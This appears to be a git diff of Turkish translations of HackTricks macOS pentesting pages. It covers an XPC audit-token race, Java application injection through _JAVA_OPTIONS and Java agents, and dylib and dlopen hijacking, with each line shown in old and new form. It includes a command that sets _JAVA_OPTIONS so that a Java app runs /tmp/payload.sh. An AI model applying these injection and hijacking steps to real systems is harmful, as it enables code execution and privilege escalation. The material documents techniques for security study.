Bu ayrım, **yanıt paketlerinin bir XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılma olasılığını** sağlar. Özellikle, `_xpc_connection_set_creds` denetim belirtecinin kısmi olarak üzerine yazılmasını önlemek için kilitleme uygulasa da, bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bu, bir paket ayrıştırma ile olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belirtecinin değiştirilmesine olanak tanıyan bir zayıflık yaratır. Bu ayrım, **yanıt paketlerinin bir XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılma olasılığını** sağlar. Özellikle, `_xpc_connection_set_creds` denetim belirtecinin kısmi olarak üzerine yazılmasını önlemek için kilitleme uygulasa da, bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bu, bir paketin ayrıştırılması ile olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belirtecinin değiştirilmesine olanak tanıyan bir zayıflık yaratır.
Bu zayıflıktan yararlanmak için aşağıdaki kurulum gereklidir: Bu zayıflıktan yararlanmak için aşağıdaki kurulum gereklidir:
- **`A`** ve **`B`** olarak adlandırılan iki mach hizmeti, her ikisi de bir bağlantı kurabilir. - **`A`** ve **`B`** olarak adlandırılan iki mach hizmeti, her ikisi de bir bağlantı kurabilir.
- **`A`** hizmetinin, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir eylem için bir yetkilendirme kontrolü içermesi gerekir (kullanıcının uygulaması bunu yapamaz). - **`A`** hizmetinin yalnızca **`B`**'nin gerçekleştirebileceği belirli bir eylem için bir yetkilendirme kontrolü içermesi gerekir (kullanıcının uygulaması bunu yapamaz).
- **`A`** hizmetinin, bir yanıt bekleyen bir mesaj göndermesi gerekir. - **`A`** hizmeti, bir yanıt bekleyen bir mesaj göndermelidir.
- Kullanıcı, **`B`**'ye yanıt vereceği bir mesaj gönderebilir. - Kullanıcı, **`B`**'ye yanıt vereceği bir mesaj gönderebilir.
Sömürü süreci aşağıdaki adımları içerir: Sömürü süreci aşağıdaki adımları içerir:
@ -112,14 +112,14 @@ Aşağıda, tanımlanan saldırı senaryosunun görsel bir temsili bulunmaktadı
- **Örnekleri Bulma Zorlukları**: `xpc_connection_get_audit_token` kullanım örneklerini bulmak, hem statik hem de dinamik olarak zordu. - **Örnekleri Bulma Zorlukları**: `xpc_connection_get_audit_token` kullanım örneklerini bulmak, hem statik hem de dinamik olarak zordu.
- **Metodoloji**: Frida, `xpc_connection_get_audit_token` fonksiyonunu yakalamak için kullanıldı ve olay işleyicilerinden gelmeyen çağrıları filtreledi. Ancak, bu yöntem yalnızca yakalanan süreçle sınırlıydı ve aktif kullanım gerektiriyordu. - **Metodoloji**: Frida, `xpc_connection_get_audit_token` fonksiyonunu yakalamak için kullanıldı ve olay işleyicilerinden gelmeyen çağrıları filtreledi. Ancak, bu yöntem yalnızca yakalanan süreçle sınırlıydı ve aktif kullanım gerektiriyordu.
- **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak süreç zaman alıcıydı ve dyld paylaşılan önbelleği ile ilgili çağrılarla karmaşık hale geldi. - **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak süreç zaman alıcıydı ve dyld paylaşılan önbelleği ile ilgili çağrılarla karmaşık hale geldi.
- **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrılarını analiz etmek için betik yazma girişimleri, blokların ayrıştırılması ve dyld paylaşılan önbelleği ile etkileşimdeki karmaşıklıklar nedeniyle engellendi. - **Scripting Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrılarını analiz etmek için script yazma girişimleri, blokların ayrıştırılması ve dyld paylaşılan önbelleği ile etkileşimdeki karmaşıklıklar nedeniyle engellendi.
## Çözüm <a href="#the-fix" id="the-fix"></a> ## Çözüm <a href="#the-fix" id="the-fix"></a>
- **Rapor Edilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a gönderildi. - **Rapor Edilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a gönderildi.
- **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı. - **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı.
- **Çözümün Doğası**: `xpc_dictionary_get_audit_token` fonksiyonu, alınan XPC mesajına bağlı mach mesajından doğrudan denetim belirtecini elde ettiği için güvenli kabul edilir. Ancak, `xpc_connection_get_audit_token` gibi kamu API'sinin bir parçası değildir. - **Çözümün Doğası**: `xpc_dictionary_get_audit_token` fonksiyonu, alınan XPC mesajına bağlı mach mesajından doğrudan denetim belirtecini alması nedeniyle güvenli kabul edilir. Ancak, `xpc_connection_get_audit_token` gibi kamu API'sinin bir parçası değildir.
- **Daha Kapsamlı Bir Çözümün Yokluğu**: Apple'ın, bağlantının kaydedilen denetim belirteciyle uyumlu olmayan mesajları atma gibi daha kapsamlı bir çözüm uygulamadığı neden belirsizdir. Belirli senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belirteci değişikliklerinin olabileceği ihtimali bir faktör olabilir. - **Daha Kapsamlı Bir Çözümün Yokluğu**: Apple'ın, bağlantının kaydedilen denetim belirteciyle uyumlu olmayan mesajları atma gibi daha kapsamlı bir çözüm uygulamadığı nedeninin belirsizliğini koruyor. Belirli senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belirteci değişikliklerinin olabileceği ihtimali bir faktör olabilir.
- **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bunu tanımlamaya ve anlamaya çalışanlar için bir zorluk teşkil etmektedir. - **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bunu tanımlamaya ve anlamaya çalışanlar için bir zorluk teşkil etmektedir.
{{#include ../../../../../../banners/hacktricks-training.md}} {{#include ../../../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Sayım ## Sayım
Sisteminizde yüklü Java uygulamalarını bulun. **Info.plist** dosyasındaki Java uygulamalarının **`java.`** dizesini içeren bazı java parametreleri barındırdığı gözlemlenmiştir, bu yüzden bunun için arama yapabilirsiniz: Sisteminizde yüklü Java uygulamalarını bulun. **Info.plist** içindeki Java uygulamalarının **`java.`** dizesini içeren bazı java parametreleri barındırdığı gözlemlenmiştir, bu nedenle bunun için arama yapabilirsiniz:
```bash ```bash
# Search only in /Applications folder # Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
@ -14,7 +14,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
``` ```
## \_JAVA_OPTIONS ## \_JAVA_OPTIONS
Env değişkeni **`_JAVA_OPTIONS`** bir java derlenmiş uygulamasının yürütülmesinde rastgele java parametreleri enjekte etmek için kullanılabilir: Env değişkeni **`_JAVA_OPTIONS`** bir java derlenmiş uygulamasının yürütülmesinde keyfi java parametrelerini enjekte etmek için kullanılabilir:
```bash ```bash
# Write your payload in a script called /tmp/payload.sh # Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
@ -102,7 +102,7 @@ err.printStackTrace();
} }
} }
``` ```
Ajanı derlemek için çalıştırın: Ajanı derlemek için şunu çalıştırın:
```bash ```bash
javac Agent.java # Create Agent.class javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
@ -149,6 +149,6 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app # Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio /Applications/Android\ Studio.app/Contents/MacOS/studio
``` ```
Android Studio'nun bu örnekte **`/Applications/Android Studio.app.vmoptions`** dosyasını yüklemeye çalışmasının ne kadar ilginç olduğunu not edin; bu, **`admin`** grubundaki herhangi bir kullanıcının yazma erişimine sahip olduğu bir yerdir. Android Studio'nun bu örnekte **`/Applications/Android Studio.app.vmoptions`** dosyasını yüklemeye çalışmasının ne kadar ilginç olduğunu not edin; bu, **`admin` grubundaki** herhangi bir kullanıcının yazma erişimine sahip olduğu bir yerdir.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,7 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
> [!DİKKAT] > [!DİKKAT]
> **dyld kodu açık kaynak** olup [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) adresinde bulunabilir ve **şu URL gibi** bir tar ile indirilebilir: [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) > **dyld kodu açık kaynaklıdır** ve [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) adresinde bulunabilir ve **şu URL gibi** bir tar ile indirilebilir: [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
## **Dyld Süreci** ## **Dyld Süreci**
@ -15,9 +15,9 @@ macos-dyld-process.md
## **DYLD_INSERT_LIBRARIES** ## **DYLD_INSERT_LIBRARIES**
Bu, [**Linux'taki LD_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld_preload) gibidir. Bir sürecin çalıştırılacak belirli bir kütüphaneyi bir yoldan yüklemesini belirtmeye olanak tanır (eğer env değişkeni etkinse). Bu, [**Linux'taki LD_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld_preload) gibidir. Bir sürecin çalıştırılacağını belirtmek için belirli bir kütüphaneyi bir yoldan yüklemesine izin verir (eğer env değişkeni etkinse).
Bu teknik ayrıca **ASEP tekniği olarak da kullanılabilir** çünkü her kurulu uygulamanın "Info.plist" adında bir plist'i vardır ve bu, `LSEnvironmental` adında bir anahtar kullanarak **çevresel değişkenlerin atanmasına** olanak tanır. Bu teknik ayrıca **ASEP tekniği olarak da kullanılabilir** çünkü her kurulu uygulamanın "Info.plist" adında bir plist'i vardır ve bu, `LSEnvironmental` adında bir anahtar kullanarak **çevresel değişkenlerin atanmasına** izin verir.
> [!NOT] > [!NOT]
> 2012'den beri **Apple, `DYLD_INSERT_LIBRARIES`** gücünü önemli ölçüde azaltmıştır. > 2012'den beri **Apple, `DYLD_INSERT_LIBRARIES`** gücünü önemli ölçüde azaltmıştır.
@ -42,9 +42,9 @@ Bu teknik ayrıca **ASEP tekniği olarak da kullanılabilir** çünkü her kurul
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation) - [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation) - [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
ya da ikili dosya **hardened runtime bayrağına** veya **kütüphane doğrulama bayrağına** sahip **olmamalıdır**. veya ikili dosya **hardened runtime bayrağına** veya **kütüphane doğrulama bayrağına** sahip **olmamalıdır**.
Bir ikilinin **hardened runtime** olup olmadığını `codesign --display --verbose <bin>` ile kontrol edebilirsiniz, **`CodeDirectory`** içinde bayrak runtime'ı kontrol ederek: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`** Bir ikilinin **hardened runtime** olup olmadığını kontrol etmek için `codesign --display --verbose <bin>` komutunu kullanarak **`CodeDirectory`** içindeki bayrağı kontrol edebilirsiniz: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
Ayrıca, bir kütüphaneyi **ikili dosyayla aynı sertifika ile imzalanmışsa** yükleyebilirsiniz. Ayrıca, bir kütüphaneyi **ikili dosyayla aynı sertifika ile imzalanmışsa** yükleyebilirsiniz.
@ -57,16 +57,16 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dylib Ele Geçirme ## Dylib Ele Geçirme
> [!DİKKAT] > [!DİKKAT]
> **Önceki Kütüphane Doğrulama kısıtlamalarının** Dylib ele geçirme saldırılarını gerçekleştirmek için de geçerli olduğunu unutmayın. > Dylib ele geçirme saldırıları gerçekleştirmek için **önceki Kütüphane Doğrulama kısıtlamalarının da geçerli olduğunu** unutmayın.
Windows'ta olduğu gibi, MacOS'ta da **dylib'leri ele geçirebilirsiniz** ve **uygulamaların** **keyfi** **kod** **çalıştırmasını** sağlayabilirsiniz (aslında, normal bir kullanıcıdan bu mümkün olmayabilir çünkü bir `.app` paketinin içine yazmak ve bir kütüphaneyi ele geçirmek için bir TCC iznine ihtiyacınız olabilir).\ Windows'ta olduğu gibi, MacOS'ta da **dylib'leri ele geçirebilirsiniz** ve **uygulamaların** **rastgele** **kod** **çalıştırmasını** sağlayabilirsiniz (aslında, normal bir kullanıcıdan bu mümkün olmayabilir çünkü bir `.app` paketinin içine yazmak ve bir kütüphaneyi ele geçirmek için bir TCC iznine ihtiyacınız olabilir).\
Ancak, **MacOS** uygulamalarının kütüphaneleri **yükleme** şekli **Windows'tan daha kısıtlıdır**. Bu, **kötü amaçlı yazılım** geliştiricilerinin bu tekniği **gizlilik** için kullanabileceği anlamına gelir, ancak bu tekniği **yetki yükseltmek için kötüye kullanma olasılığı çok daha düşüktür**. Ancak, **MacOS** uygulamalarının kütüphaneleri **yükleme** şekli **Windows'tan daha kısıtlıdır**. Bu, **kötü amaçlı yazılım** geliştiricilerinin bu tekniği **gizlilik** için kullanabileceği anlamına gelir, ancak **yetkileri artırmak için bunu kötüye kullanma olasılığı çok daha düşüktür**.
Öncelikle, **MacOS ikililerinin kütüphaneleri yüklemek için tam yolu belirtmesi** daha yaygındır. İkincisi, **MacOS asla** kütüphaneler için **$PATH** klasörlerinde arama yapmaz. Öncelikle, **MacOS ikililerinin kütüphaneleri yüklemek için tam yolu belirtmesi** daha yaygındır. İkincisi, **MacOS asla** kütüphaneler için **$PATH** klasörlerinde arama yapmaz.
Bu işlevselliğe ilişkin **kodun** ana kısmı **`ImageLoader::recursiveLoadLibraries`** içinde `ImageLoader.cpp` dosyasındadır. Bu işlevselliğe ilişkin **kodun** ana kısmı **`ImageLoader::recursiveLoadLibraries`** içinde `ImageLoader.cpp` dosyasındadır.
Bir macho ikili dosyasının kütüphaneleri yüklemek için kullanabileceği **4 farklı başlık Komutu** vardır: Bir macho ikili dosyası kütüphaneleri yüklemek için **4 farklı başlık Komutu** kullanabilir:
- **`LC_LOAD_DYLIB`** komutu, bir dylib yüklemek için yaygın komuttur. - **`LC_LOAD_DYLIB`** komutu, bir dylib yüklemek için yaygın komuttur.
- **`LC_LOAD_WEAK_DYLIB`** komutu, önceki gibi çalışır, ancak dylib bulunamazsa, yürütme hatasız devam eder. - **`LC_LOAD_WEAK_DYLIB`** komutu, önceki gibi çalışır, ancak dylib bulunamazsa, yürütme hatasız devam eder.
@ -75,7 +75,7 @@ Bir macho ikili dosyasının kütüphaneleri yüklemek için kullanabileceği **
Ancak, **2 tür dylib ele geçirme** vardır: Ancak, **2 tür dylib ele geçirme** vardır:
- **Eksik zayıf bağlantılı kütüphaneler**: Bu, uygulamanın **LC_LOAD_WEAK_DYLIB** ile yapılandırılmış mevcut olmayan bir kütüphaneyi yüklemeye çalışacağı anlamına gelir. Sonra, **bir saldırgan bir dylibi beklenen yere yerleştirirse, yüklenir**. - **Eksik zayıf bağlantılı kütüphaneler**: Bu, uygulamanın **LC_LOAD_WEAK_DYLIB** ile yapılandırılmış bir kütüphaneyi yüklemeye çalışacağı anlamına gelir. Sonra, **bir saldırgan bir dylibi beklenen yere yerleştirirse, yüklenir**.
- Bağlantının "zayıf" olması, kütüphane bulunmasa bile uygulamanın çalışmaya devam edeceği anlamına gelir. - Bağlantının "zayıf" olması, kütüphane bulunmasa bile uygulamanın çalışmaya devam edeceği anlamına gelir.
- Bununla ilgili **kod**, `ImageLoaderMachO::doGetDependentLibraries` fonksiyonundadır ve burada `lib->required` yalnızca `LC_LOAD_WEAK_DYLIB` doğru olduğunda `false` olur. - Bununla ilgili **kod**, `ImageLoaderMachO::doGetDependentLibraries` fonksiyonundadır ve burada `lib->required` yalnızca `LC_LOAD_WEAK_DYLIB` doğru olduğunda `false` olur.
- **Zayıf bağlantılı kütüphaneleri** ikililerde bulmak için (sonra ele geçirme kütüphaneleri oluşturma örneğiniz var): - **Zayıf bağlantılı kütüphaneleri** ikililerde bulmak için (sonra ele geçirme kütüphaneleri oluşturma örneğiniz var):
@ -87,23 +87,23 @@ time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0 current version 1.0.0
compatibility version 1.0.0 compatibility version 1.0.0
``` ```
- **@rpath ile yapılandırılmış**: Mach-O ikili dosyaları **`LC_RPATH`** ve **`LC_LOAD_DYLIB`** komutlarına sahip olabilir. Bu komutların **değerlerine** dayanarak, **kütüphaneler** **farklı dizinlerden** **yüklenir**. - **@rpath ile yapılandırılmış**: Mach-O ikilileri **`LC_RPATH`** ve **`LC_LOAD_DYLIB`** komutlarına sahip olabilir. Bu komutların **değerlerine** dayanarak, **kütüphaneler** **farklı dizinlerden** **yüklenir**.
- **`LC_RPATH`**, ikili dosya tarafından kütüphaneleri yüklemek için kullanılan bazı klasörlerin yollarını içerir. - **`LC_RPATH`**, ikili dosya tarafından kütüphaneleri yüklemek için kullanılan bazı klasörlerin yollarını içerir.
- **`LC_LOAD_DYLIB`**, yüklenmesi gereken belirli kütüphanelerin yolunu içerir. Bu yollar **`@rpath`** içerebilir, bu da **`LC_RPATH`** içindeki değerlerle **değiştirilecektir**. Eğer **`LC_RPATH`** içinde birden fazla yol varsa, her biri yüklenmesi gereken kütüphaneyi aramak için kullanılacaktır. Örnek: - **`LC_LOAD_DYLIB`**, yüklenmesi gereken belirli kütüphanelerin yolunu içerir. Bu yollar **`@rpath`** içerebilir ve bu, **`LC_RPATH`** içindeki değerlerle **değiştirilecektir**. Eğer **`LC_RPATH`** içinde birden fazla yol varsa, her biri yüklenmesi gereken kütüphaneyi aramak için kullanılacaktır. Örnek:
- Eğer **`LC_LOAD_DYLIB`** `@rpath/library.dylib` içeriyorsa ve **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` ve `/application/app.app/Contents/Framework/v2/` içeriyorsa. Her iki klasör de `library.dylib` yüklemek için kullanılacaktır. Eğer kütüphane `[...]/v1/` içinde yoksa, bir saldırgan oraya yerleştirerek `[...]/v2/` içindeki kütüphanenin yüklenmesini ele geçirebilir çünkü **`LC_LOAD_DYLIB`** içindeki yolların sırası takip edilir. - Eğer **`LC_LOAD_DYLIB`** `@rpath/library.dylib` içeriyorsa ve **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` ve `/application/app.app/Contents/Framework/v2/` içeriyorsa. Her iki klasör de `library.dylib` yüklemek için kullanılacaktır. Eğer kütüphane `[...]/v1/` içinde yoksa, bir saldırgan oraya yerleştirerek `[...]/v2/` içindeki kütüphanenin yüklenmesini ele geçirebilir çünkü **`LC_LOAD_DYLIB`** içindeki yolların sırası takip edilir.
- **rpath yollarını ve kütüphaneleri** ikililerde bulmak için: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` - **İkili dosyalarda rpath yollarını ve kütüphaneleri bulmak için**: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
> [!NOT] > **`@executable_path`**: **Ana yürütülebilir dosyanın** bulunduğu dizinin **yoludur**. > [!NOT] > **`@executable_path`**: **Ana yürütülebilir dosyanın** bulunduğu dizinin **yoludur**.
> >
> **`@loader_path`**: **Yükleme komutunu içeren** **Mach-O ikili dosyasının** bulunduğu **dizinin yoludur**. > **`@loader_path`**: **Yükleme komutunu içeren** **Mach-O ikilisinin** bulunduğu **dizinin yoludur**.
> >
> - Bir yürütülebilir dosyada kullanıldığında, **`@loader_path`** etkili bir şekilde **`@executable_path`** ile **aynıdır**. > - Bir yürütülebilir dosyada kullanıldığında, **`@loader_path`** etkili bir şekilde **`@executable_path`** ile **aynıdır**.
> - Bir **dylib** içinde kullanıldığında, **`@loader_path`** **dylib'in** **yolunu** verir. > - Bir **dylib** içinde kullanıldığında, **`@loader_path`** **dylib'in** **yolunu** verir.
Bu işlevselliği kötüye kullanarak **yetki yükseltmenin** yolu, **root** tarafından **çalıştırılan** bir **uygulamanın**, saldırganın yazma izinlerine sahip olduğu bir **klasörde** bazı **kütüphaneleri arıyor olması** durumunda nadir bir durum olacaktır. Bu işlevselliği kötüye kullanarak **yetkileri artırmanın** yolu, **root** tarafından **çalıştırılan** bir **uygulamanın**, saldırganın yazma izinlerine sahip olduğu bir **klasörde** bazı **kütüphaneleri arıyor olması** durumunda olacaktır.
> [!İPUCU] > [!İPUCU]
> Uygulamalardaki **eksik kütüphaneleri** bulmak için güzel bir **tarayıcı** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) veya bir [**CLI versiyonu**](https://github.com/pandazheng/DylibHijack) kullanabilirsiniz.\ > Uygulamalardaki **eksik kütüphaneleri** bulmak için güzel bir **tarayıcı** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) veya bir [**CLI versiyonu**](https://github.com/pandazheng/DylibHijack).\
> Bu teknikle ilgili **teknik detaylar** içeren güzel bir **rapor** [**burada**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) bulunabilir. > Bu teknikle ilgili **teknik detaylar** içeren güzel bir **rapor** [**burada**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) bulunabilir.
**Örnek** **Örnek**
@ -115,7 +115,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dlopen Ele Geçirme ## Dlopen Ele Geçirme
> [!DİKKAT] > [!DİKKAT]
> **Önceki Kütüphane Doğrulama kısıtlamalarının** Dlopen ele geçirme saldırılarını gerçekleştirmek için de geçerli olduğunu unutmayın. > Dlopen ele geçirme saldırıları gerçekleştirmek için **önceki Kütüphane Doğrulama kısıtlamalarının da geçerli olduğunu** unutmayın.
**`man dlopen`**'dan: **`man dlopen`**'dan:
@ -131,9 +131,9 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> Eğer isimde eğik çizgi yoksa, ele geçirme yapmak için 2 yol olacaktır: > Eğer isimde eğik çizgi yoksa, ele geçirme yapmak için 2 yol olacaktır:
> >
> - Eğer herhangi bir **`LC_RPATH`** **yazılabilir** ise (ancak imza kontrol edilir, bu nedenle bunun için ikilinin de kısıtlı olmaması gerekir) > - Eğer herhangi bir **`LC_RPATH`** **yazılabilir** ise (ancak imza kontrol edilir, bu nedenle bunun için ikilinin de kısıtlı olmaması gerekir)
> - Eğer ikili dosya **kısıtlı değilse** ve o zaman CWD'den (veya belirtilen env değişkenlerinden birini kötüye kullanarak) bir şey yüklemek mümkündür. > - Eğer ikili dosya **kısıtlı değilse** ve o zaman CWD'den (veya bahsedilen env değişkenlerinden birini kötüye kullanarak) bir şey yüklemek mümkündür.
- Yol **bir çerçeve** yolu gibi görünüyorsa (örneğin, `/stuff/foo.framework/foo`), eğer **`$DYLD_FRAMEWORK_PATH`** başlatıldığında ayarlandıysa, dyld önce **o dizinde** **çerçeve kısmi yolunu** (örneğin, `foo.framework/foo`) arayacaktır. Sonra, dyld **sağlanan yolu olduğu gibi** deneyecektir (göreceli yollar için geçerli çalışma dizinini kullanarak). Son olarak, eski ikililer için, dyld bazı yedeklemeleri deneyecektir. Eğer **`$DYLD_FALLBACK_FRAMEWORK_PATH`** başlatıldığında ayarlandıysa, dyld o dizinlerde arama yapacaktır. Aksi takdirde, **`/Library/Frameworks`** içinde arama yapacaktır (macOS'ta süreç kısıtlı değilse), sonra **`/System/Library/Frameworks`** içinde arama yapacaktır. - Yol **bir çerçeve** yolu gibi görünüyorsa (örneğin, `/stuff/foo.framework/foo`), eğer **`$DYLD_FRAMEWORK_PATH`** başlatıldığında ayarlandıysa, dyld önce **çerçevenin kısmi yolu** için o dizinde bakacaktır (örneğin, `foo.framework/foo`). Sonra, dyld **sağlanan yolu olduğu gibi** deneyecektir (göreceli yollar için geçerli çalışma dizinini kullanarak). Son olarak, eski ikililer için, dyld bazı yedeklemeleri deneyecektir. Eğer **`$DYLD_FALLBACK_FRAMEWORK_PATH`** başlatıldığında ayarlandıysa, dyld o dizinlerde arama yapacaktır. Aksi takdirde, **`/Library/Frameworks`** içinde arama yapacaktır (macOS'ta süreç kısıtlı değilse), sonra **`/System/Library/Frameworks`** içinde arama yapacaktır.
1. `$DYLD_FRAMEWORK_PATH` 1. `$DYLD_FRAMEWORK_PATH`
2. sağlanan yol (eğer kısıtlı değilse göreceli yollar için geçerli çalışma dizinini kullanarak) 2. sağlanan yol (eğer kısıtlı değilse göreceli yollar için geçerli çalışma dizinini kullanarak)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH` 3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
@ -141,11 +141,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
5. `/System/Library/Frameworks` 5. `/System/Library/Frameworks`
> [!DİKKAT] > [!DİKKAT]
> Eğer bir çerçeve yoluysa, ele geçirmenin yolu: > Eğer bir çerçeve yolu ise, ele geçirmenin yolu:
> >
> - Eğer süreç **kısıtlı değilse**, belirtilen env değişkenlerinden **CWD'den göreceli yolu** kötüye kullanarak (belirtilen belgelerde söylenmese de, eğer süreç kısıtlıysa DYLD\_\* env değişkenleri kaldırılır) > - Eğer süreç **kısıtlı değilse**, bahsedilen env değişkenlerinden **CWD'den göreceli yolu** kötüye kullanarak (belgelere göre süreç kısıtlıysa DYLD\_\* env değişkenleri kaldırılır)
- Yol **bir eğik çizgi içeriyorsa ama bir çerçeve yolu değilse** (yani bir dylib'e tam veya kısmi bir yol), dlopen() önce (eğer ayarlandıysa) **`$DYLD_LIBRARY_PATH`** içinde (yolun yaprak kısmıyla) arar. Sonra, dyld **sağlanan yolu** dener (geçerli çalışma dizinini göreceli yollar için kullanarak (ancak yalnızca kısıtlı olmayan süreçler için)). Son olarak, eski ikililer için, dyld yedeklemeleri deneyecektir. Eğer **`$DYLD_FALLBACK_LIBRARY_PATH`** başlatıldığında ayarlandıysa, dyld o dizinlerde arama yapacaktır, aksi takdirde dyld **`/usr/local/lib/`** içinde (eğer süreç kısıtlı değilse) ve sonra **`/usr/lib/`** içinde arama yapacaktır. - Yol **bir eğik çizgi içeriyorsa ama bir çerçeve yolu değilse** (yani bir dylib'e tam veya kısmi bir yol), dlopen() önce (eğer ayarlandıysa) **`$DYLD_LIBRARY_PATH`** içinde (yolun yaprak kısmıyla) bakar. Sonra, dyld **sağlanan yolu dener** (eğer kısıtlı değilse göreceli yollar için geçerli çalışma dizinini kullanarak). Son olarak, eski ikililer için, dyld yedeklemeleri deneyecektir. Eğer **`$DYLD_FALLBACK_LIBRARY_PATH`** başlatıldığında ayarlandıysa, dyld o dizinlerde arama yapacaktır, aksi takdirde dyld **`/usr/local/lib/`** içinde (eğer süreç kısıtlı değilse) ve sonra **`/usr/lib/`** içinde arama yapacaktır.
1. `$DYLD_LIBRARY_PATH` 1. `$DYLD_LIBRARY_PATH`
2. sağlanan yol (eğer kısıtlı değilse göreceli yollar için geçerli çalışma dizinini kullanarak) 2. sağlanan yol (eğer kısıtlı değilse göreceli yollar için geçerli çalışma dizinini kullanarak)
3. `$DYLD_FALLBACK_LIBRARY_PATH` 3. `$DYLD_FALLBACK_LIBRARY_PATH`
@ -153,18 +153,18 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
5. `/usr/lib/` 5. `/usr/lib/`
> [!DİKKAT] > [!DİKKAT]
> Eğer isimde eğik çizgiler varsa ve çerçeve değilse, ele geçirmenin yolu: > Eğer isimde eğik çizgi varsa ve çerçeve değilse, ele geçirmenin yolu:
> >
> - Eğer ikili dosya **kısıtlı değilse** ve o zaman CWD'den veya `/usr/local/lib`'den bir şey yüklemek mümkündür (veya belirtilen env değişkenlerinden birini kötüye kullanarak) > - Eğer ikili dosya **kısıtlı değilse** ve o zaman CWD'den veya `/usr/local/lib`'den bir şey yüklemek mümkündür (veya bahsedilen env değişkenlerinden birini kötüye kullanarak)
> [!NOT] > [!NOT]
> Not: **dlopen aramasını kontrol etmek için** yapılandırma dosyası **yoktur**. > Not: **dlopen aramasını kontrol etmek için** yapılandırma dosyası **yoktur**.
> >
